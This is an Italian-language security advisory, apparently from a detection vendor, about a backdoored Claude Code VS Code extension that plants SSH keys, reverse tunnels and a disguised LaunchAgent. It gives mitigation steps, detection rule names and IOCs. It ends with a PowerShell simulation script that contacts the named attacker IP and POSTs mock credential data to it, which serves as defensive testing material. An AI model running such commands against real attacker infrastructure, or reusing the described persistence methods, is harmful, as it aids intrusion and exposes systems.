Compromissione dell’Estensione Claude Code: Avviso di Sicurezza
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Una release con backdoor del codice ufficiale di Claude per l’estensione VS Code, versione 2.1.313, è stata identificata nel Cursor Marketplace. Il malware stabilisce una backdoor SSH persistente su macOS, Linux e Windows modificando authorized_keys e creando tunnel SSH inversi. Esegue anche il riconoscimento dell’host per scoprire variabili di ambiente sensibili e credenziali potenzialmente esposte.
Indagine
Phorion ha identificato un IIFE iniettato all’interno del bundle minificato dell’estensione, che viene eseguito immediatamente quando l’estensione si carica. L’indagine ha mostrato che il malware tenta di abilitare i servizi SSH e utilizza chiavi Ed25519 specifiche per l’autenticazione delle vittime e l’istituzione di tunnel inversi. I ricercatori hanno anche identificato falle nell’implementazione nella logica di macOS e Windows che potrebbero limitarne la capacità di abilitare i servizi senza privilegi esistenti.
Mitigazione
Le organizzazioni dovrebbero immediatamente identificare e rimuovere il codice Claude per l’estensione VS Code versione 2.1.313. Su macOS, gli utenti dovrebbero scaricare ed eliminare il com.apple.sysmond.plist LaunchAgent. I team di sicurezza dovrebbero anche ispezionare le configurazioni SSH ed eliminare la chiave pubblica svc-telemetry dai authorized_keys file
Risposta
Quando viene rilevata una compromissione, terminare i processi di tunnel attivi, inclusi i loop di ritentativi di shell distaccati e i processi ssh or autossh che si connettono a 134.209.82.225. Rimuovere gli artefatti di persistenza inclusi voci cron, attività pianificate e script nascosti conservati in .config directory. In modo critico, ruotare tutte le credenziali e i token API che sono stati esposti tramite variabili di ambiente sull’host interessato.
Flusso di Attacco
Stiamo ancora aggiornando questa parte.
Rilevazioni
Possibile Tentativo di Comunicazione IP Lookup Dominio (via dns)
File / Script Sospetti in Posizione di Avvio Automatico (via file_event)
Possibile Comunicazione C2 su HTTP a IP Diretto con Porta Insolita (via proxy)
File Nascosto Creato su Host Linux (via file_event)
IOC (HashSha256) da rilevare: Compromissione dell’Estensione Claude Code Ufficiale: Avviso di Sicurezza
IOC (SourceIP) da rilevare: Compromissione dell’Estensione Claude Code Ufficiale: Avviso di Sicurezza
IOC (DestinationIP) da rilevare: Compromissione dell’Estensione Claude Code Ufficiale: Avviso di Sicurezza
Attività SSH Sospetta Rilevata verso Indirizzo IP Maligno Conosciuto [Connessione di Rete Windows]
Rilevazione di Backdoor nell’Estensione Claude Code VS Code su macOS [Evento File Linux]
Esecuzione della Simulazione
-
Narrativa e Comandi dell’Attacco: L’avversario, avendo ottenuto l’accesso iniziale, mira a stabilire un tunnel C2 persistente. Iniziano una connessione SSH a
134.209.82.225sulla porta22per creare un tunnel sicuro per il movimento laterale. Subito dopo, l’agente malevolo esegue una richiesta HTTP POST ahttp://134.209.82.225:8099contenente informazioni di sistema codificate. Questa specifica sequenza di “SSH + HTTP POST allo stesso IP” è progettata per attivare la condizione della regola:condition: selection_ssh e selection_http. -
Script di Test di Regressione:
# Script di Simulazione: Attivazione di Attività SSH e HTTP POST Sospette $TargetIP = "134.209.82.225" $SSHPort = 22 $HTTPPort = 8099 Write-Host "[+] Avvio della Simulazione..." -ForegroundColor Cyan # Passo 1: Simulazione Connessione SSH (usando Test-NetConnection per generare Sysmon ID 3) Write-Host "[+] Passo 1: Simulazione connessione SSH in uscita verso $TargetIP sulla porta $SSHPort" Test-NetConnection -ComputerName $TargetIP -Port $SSHPort -ErrorAction SilentlyContinue # Passo 2: Simulazione richiesta HTTP POST (usando Invoke-WebRequest) Write-Host "[+] Passo 2: Simulazione di beaconing HTTP POST verso $TargetIP sulla porta $HTTPPort" try { # Usiamo un timeout breve per evitare che lo script si blocchi se l'IP è irraggiungibile $payload = @{ data = "simulated_credential_harvesting_data" } Invoke-WebRequest -Uri "http://$($TargetIP):$($HTTPPort)" -Method POST -Body ($payload | ConvertTo-Json) -TimeoutSec 5 } catch { Write-Host "[!] Richiesta HTTP fallita (Aspettato se l'IP è offline), ma la telemetria dovrebbe essere stata generata." -ForegroundColor Yellow } Write-Host "[+] Comandi di Simulazione Eseguiti." -ForegroundColor Green -
Comandi di Pulizia:
# Nessun cambiamento persistente è stato effettuato al sistema durante questa simulazione. # Non sono stati creati file, e nessun servizio è stato effettivamente installato. Write-Host "[+] Pulizia completata. Nessun artefatto da rimuovere." -ForegroundColor Green